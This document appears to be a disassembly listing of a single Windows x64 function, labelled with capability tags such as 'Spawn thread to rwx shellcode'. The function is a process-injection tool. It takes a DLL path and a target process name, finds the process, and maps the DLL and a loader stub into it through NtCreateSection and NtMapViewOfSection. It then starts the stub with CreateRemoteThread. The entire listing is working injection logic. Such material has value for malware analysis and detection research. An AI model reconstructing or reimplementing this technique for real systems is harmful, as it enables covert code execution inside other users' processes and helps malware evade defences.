Function at 0x140001490
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Execute shellcode via indirect call
Get file size
Link many functions at runtime
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x370]
sub rsp, 0x470
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x360], rax
mov r14, rdx
mov r12d, ecx
xor edi, edi
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
mov qword [rbp - 0x18], rdi
mov qword [rbp - 0x10], rdi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], dil
jne 0x1400014f0
lea rcx, [rbp - 0x28]
call fcn.140001dd0
nop
lea rbx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
setae r13b
mov r15, qword [rbp - 0x28]
cmovae rbx, r15
mov rsi, qword [rbp - 0x18]
test rsi, rsi
je 0x14000158c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], rax
mov dword [rbp + 0x78], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rbp + 0x7d]
call sub.VCRUNTIME140.dll_memset
mov byte [rbp + 0x7c], 1
lea rax, [rsi - 1]
mov rcx, 0xffffffffffffffff
cmp rax, rcx
cmovb rcx, rax
add rcx, rbx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x20], 0
jne 0x140001587
cmp rcx, rbx
je 0x14000158c
dec rcx
movzx eax, byte [rcx]
cmp byte [rbp + rax + 0x20], 0
je 0x140001575
sub rcx, rbx
jmp 0x140001593
mov rcx, 0xffffffffffffffff
inc rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], rdi
cmp rsi, rcx
jb 0x140001d09
sub rsi, rcx
mov r8, 0xffffffffffffffff
cmp rsi, r8
cmovb r8, rsi
lea rdx, [rbp - 0x28]
test r13b, r13b
cmovne rdx, r15
add rdx, rcx
lea rcx, [rsp + 0x68]
call fcn.140001dd0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140001617
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001612
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001612
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f3c
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rbp - 0x28], xmm0
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [rbp - 0x18], xmm1
cmp r12d, 3
jge 0x140001653
lea rdx, [rbp - 0x28]
cmp qword [rbp - 0x10], 0x10
cmovae rdx, qword [rbp - 0x28]
lea rcx, str.Usage:__s__dll_path___process_name__n
call fcn.140001010
mov edi, 1
jmp 0x140001c99
mov r15, qword [r14 + 8]
mov rbx, qword [r14 + 0x10]
mov rsi, 0xffffffffffffffff
mov rcx, rsi
inc rcx
cmp byte [rbx + rcx], 0
jne 0x140001665
inc rcx
mov eax, 2
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.140001f44
mov r14, rax
mov qword [rbp + 8], rax
mov r8, rsi
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x140001690
inc r8
mov qword [rsp + 0x20], rsi
mov r9, rbx
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
xor edx, edx
mov r8d, 0x234
lea rcx, [rbp + 0x124]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov dword [rbp + 0x120], 0x238
lea rdx, [rbp + 0x120]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001c7d
mov rax, r14
lea r8, [rbp + 0x14c]
sub r8, r14
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140001715
add rax, 2
test ecx, ecx
jne 0x140001701
mov rcx, rsi
test edx, edx
je 0x14000172b
lea rdx, [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x1400016ec
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp + 0x128]
test eax, eax
je 0x140001c86
mov r8d, eax
mov rdx, rbx
lea rcx, str.___Found__s__0x_X__n
call fcn.140001010
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
test rax, rax
je 0x140001c86
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov qword [rsp + 0x60], rbx
mov ecx, eax
call fcn.140001f44
mov r13, rax
mov qword [rbp + 0x10], rax
lea r8, [r15 + 3]
mov r9, rax
mov edx, ebx
lea rcx, str.___Loaded__d_bytes_from__s_into_buffer_at_0x_llX_n
call fcn.140001010
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8d, ebx
mov rdx, r13
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rsi
test eax, eax
je 0x140001c0c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r15, rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp - 0x68], rax
test r15, r15
je 0x140001c12
test rax, rax
je 0x140001c12
mov rdx, rax
lea rcx, str.___Kernel32:_0x_llX_n
call fcn.140001010
mov rdx, r15
lea rcx, str.___NTDLL:_0x_llX_n
call fcn.140001010
lea rdx, str.NtCreateSection
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
lea rdx, str.NtMapViewOfSection
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [rsp + 0x50], rax
lea rdx, str.NtUnmapViewOfSection
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, str.NtClose
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
mov rax, qword [rsp + 0x58]
test rax, rax
je 0x140001c12
test rsi, rsi
je 0x140001c12
test rbx, rbx
je 0x140001c12
test r12, r12
je 0x140001c12
mov rdx, rax
lea rcx, str.___Found_NtCreateSection_0x_llX_n
call fcn.140001010
mov rdx, rsi
lea rcx, str.___Found_NtMapViewOfSection_0x_llX_n
call fcn.140001010
mov rdx, rbx
lea rcx, str.___Found_NtUnmapViewOfSection_0x_llX_n
call fcn.140001010
mov rdx, r12
lea rcx, str.___Found_NtClose_0x_llX_n
call fcn.140001010
lea rax, [fcn.1400012c0]
lea rcx, [0x140001070]
sub eax, ecx
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x40], rdi
mov rcx, qword [rsp + 0x60]
mov qword [rbp - 8], rcx
mov qword [rbp - 0x60], rax
add rax, 0x30
mov qword [rbp], rax
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x58], rdi
mov qword [rbp - 0x50], rdi
mov r8d, dword [rbp + 0x128]
xor edx, edx
lea ecx, [rdx + 0x38]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140001c12
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
lea r9, [rbp - 8]
xor r8d, r8d
mov edx, 0xf001f
lea rcx, [rbp - 0x48]
call qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, rax
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], 2
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp - 0x30]
mov rcx, qword [rbp - 0x48]
call qword [rsp + 0x50]
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], 2
lea rax, [rbp - 8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp - 0x38]
mov rdx, rsi
mov rcx, qword [rbp - 0x48]
call qword [rsp + 0x50]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
lea r9, [rbp]
xor r8d, r8d
mov edx, 0xf001f
lea rcx, [rbp - 0x40]
call qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdx, rax
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], 2
lea rax, [rbp]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp - 0x58]
mov rcx, qword [rbp - 0x40]
call qword [rsp + 0x50]
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], 2
lea rax, [rbp]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp - 0x50]
mov rdx, rsi
mov rcx, qword [rbp - 0x40]
call qword [rsp + 0x50]
mov rdx, qword [rbp - 0x38]
lea rcx, str.___Created_remote_section_for_DLL_at_0x_llX_n
call fcn.140001010
mov rdx, qword [rbp - 0x50]
lea rcx, str.___Created_remote_section_for_loader_at_0x_llX_n
call fcn.140001010
mov rax, qword [rbp - 0x38]
mov qword [rsp + 0x68], rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x70], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
lea rdx, str.NtFlushInstructionCache
mov rcx, r15
call rax
mov qword [rbp - 0x80], rax
lea rdx, str.VirtualAlloc
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x78], rax
lea rdx, str.VirtualFree
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x70], rax
mov rax, qword [rsp + 0x60]
test rax, rax
je 0x140001b33
mov rcx, qword [rbp - 0x30]
test rcx, rcx
jne 0x140001b28
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
jmp 0x140001b33
mov r8, rax
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp - 0x58]
test rax, rax
jne 0x140001b50
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
jmp 0x140001b69
movups xmm0, xmmword [rsp + 0x68]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rbp - 0x78]
movups xmmword [rax + 0x20], xmm0
mov rcx, qword [rbp - 0x58]
add rcx, 0x30
mov r8, qword [rbp - 0x60]
test r8, r8
je 0x140001b9f
test rcx, rcx
jne 0x140001b93
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [rax], 0x16
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo]
jmp 0x140001b9f
lea rdx, [0x140001070]
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp - 0x50]
lea r9, [rax + 0x30]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r15, rax
test rax, rax
jne 0x140001c26
mov rdx, qword [rbp - 0x38]
mov rcx, rsi
call rbx
mov rdx, qword [rbp - 0x50]
mov rcx, rsi
call rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov rdx, qword [rbp - 0x30]
call rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov rdx, qword [rbp - 0x58]
call rbx
mov rcx, qword [rbp - 0x48]
call r12
mov rcx, qword [rbp - 0x40]
call r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 1
mov edx, 1
mov rcx, r13
call fcn.140001f3c
jmp 0x140001c8b
mov edx, 0xffffffff
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov rdx, qword [rbp - 0x30]
call rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov rdx, qword [rbp - 0x58]
call rbx
mov rdx, qword [rbp - 0x50]
mov rcx, rsi
call rbx
mov rcx, qword [rbp - 0x48]
call r12
mov rcx, qword [rbp - 0x40]
call r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001c17
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 1
mov edx, 2
mov rcx, r14
call fcn.140001f3c
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x140001cd7
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001cd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001cd2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001f3c
mov eax, edi
mov rcx, qword [rbp + 0x360]
xor rcx, rsp
call fcn.140001ee0
lea r11, [rsp + 0x470]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001db0
nop
int3